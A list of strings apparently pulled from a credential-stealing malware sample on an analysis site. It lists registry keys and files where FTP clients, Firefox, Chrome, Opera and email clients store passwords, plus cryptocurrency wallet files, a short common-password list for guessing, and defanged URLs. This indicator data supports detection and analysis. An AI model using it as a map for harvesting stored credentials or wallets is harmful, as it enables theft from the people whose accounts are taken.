Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 9\QCToolbar

\GlobalSCAPE\CuteFTP

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

\sm.dat

\Sites.dat

\Quick.dat

\History.dat

\sitemanager.xml

\recentservers.xml

\filezilla.xml

Port

Server.Host

Server.User

Server.Pass

Server.Port

Last Server Pass

Last Server Port

FTP Navigator

FTP Commander

ftplist.txt

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

\SmartFTP

Favorites.dat

History.dat

addrbk.dat

quick.dat

\TurboFTP

Software\TurboFTP

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

profiles.xml

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

PasswordType

Login

FtpSite.xml

\sites.xml

\FTPRush

RushSite.xml

FtpPort

Software\Cryer\WebSitePublisher

bitkinex.ds

\drives.js

"password" : "

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

FtpServer

FtpUserName

FtpPassword

_FtpPassword

FtpDirectory

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

ftplast.osd

\SharedSettings.ccs

\SharedSettings_1_0_5.ccs

\SharedSettings.sqlite

\SharedSettings_1_0_5.sqlite

leapftp

unleap.exe

sites.dat

sites.ini

\LeapWare\LeapFTP

PortNumber

\32BitFtp.ini

NDSites.ini

PassWord

Software\South River Technologies\WebDrive\Connections

FTP CONTROL

FTPCON

hXXp://

hXXps://

PTF://

opera

wand.dat

_Software\Opera Software

Opera.HTML\shell\open\command

\Opera Software

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

wiseftpsrvs.ini

wisePTF.ini

FTPVoyager.ftp

FTPVoyager.PTF.backup

FTPVoyager.PTF.old.backup

FTPVoyager.qc

\RhinoSoft.com

nss3.dll

PK11_GetInternalKeySlot

profiles.ini

PathToExe

prefs.js

signons.sqlite

signons.txt

signons2.txt

signons3.txt

Firefox

\Mozilla\Firefox\

Software\Mozilla

fireFTPsites.dat

SeaMonkey

\Mozilla\SeaMonkey\

Mozilla

\Mozilla\Profiles\

Software\LeechFTP

bookmark.dat

SiteInfo.QFP

WinFTP

sites.db

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

servers.xml

\FTPGetter

ESTdb2.dat

QData.dat

\Estsoft\ALFTP

MS IE FTP Passwords

SiteServer %d\Host

SiteServer %d\WebUrl

SiteServer %d\Remote Directory

SiteServer %d-User

SiteServer %d-User PW

%s\Keychain

SiteServer %d\SFTP

DeluxeFTP

sites.xml

SQLite format 3

Web Data

Login Data

logins

origin_url

password_value

moz_logins

encryptedPassword

\Google\Chrome

\ChromePlus

Software\ChromePlus

\Nichrome

Staff-FTP

SM.arch

FreshFTP

BlazeFtp

site.dat

LastPassword

LastPort

Software\FlashPeak\BlazeFtp\Settings

\BlazeFtp

FTP .Link\shell\open\command

GoFTP

Connections.txt

3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

password 51:b:

FTP Now

FTPNow

SOFTWARE\Robo-FTP 3.7\Scripts

SOFTWARE\Robo-FTP 3.7\FTPServers

FTP Count

FTP File%d

2.5.29.37

Software\LinasFTP\Site Manager

.duck

user.config

NppFTP.xml

FTP destination server

FTP destination user

FTP destination password

FTP destination port

FTP destination catalog

FTP profiles

FTPShell

ftpshell.fsi

Software\MAS-Soft\FTPInfo\Setup

\FTPInfo

ServerList.xml

ftpsite.ini

FTPList.db

\MapleStudio\ChromePlus

Software\Nico Mak Computing\WinZip\FTP

My FTP

project.ini

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

NovaFTP.db

\INSoftware\NovaFTP

.oeaccount

<_op3_password2>

<_mtp_password2>

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Mail

Software\Microsoft\Windows Mail

Mailbox.ini

\PocoSystem.ini

accounts.ini

PopPort

PopPassword

SmtpServer

SmtpPort

SmtpAccount

SmtpPassword

account.cfg

account.cfn

Dir #%d

SMTP Email Address

SMTP Server

SMTP User Name

HTTP User

HTTP Server URL

HTTPMail User Name

HTTPMail Server

SMTP User

POP3 Port

SMTP Port

IMAP Port

POP3 Password2

IMAP Password2

NNTP Password2

HTTPMail Password2

SMTP Password2

POP3 Password

IMAP Password

NNTP Password

HTTP Password

SMTP Password

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

inetcomm server passwords

outlook account manager passwords

wallet.dat

electrum.dat

.wallet

Accounts.ini

\Maxprog\FTP Disk

passw0rd

11111111

123456789

1234567

12345678

windows

password1

password

monkey

1234567890

7777777

hockey

smokey

asshole

mickey

STATUS-IMPORT-OK

;3 #>6.&

'2, / 0&7!4-)1#

GetWindowsDirectoryA

user32.dll

RegOpenKeyExA

RegCloseKey

RegOpenKeyA

RegEnumKeyExA

RegCreateKeyA

InternetCrackUrlA

InternetCreateUrlA

wininet.dll

shlwapi.dll

urlmon.dll

wsock32.dll

2hXXp://VVV.facebook.com/

xthpt/:w/wwf.cabeoo.koc/m

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps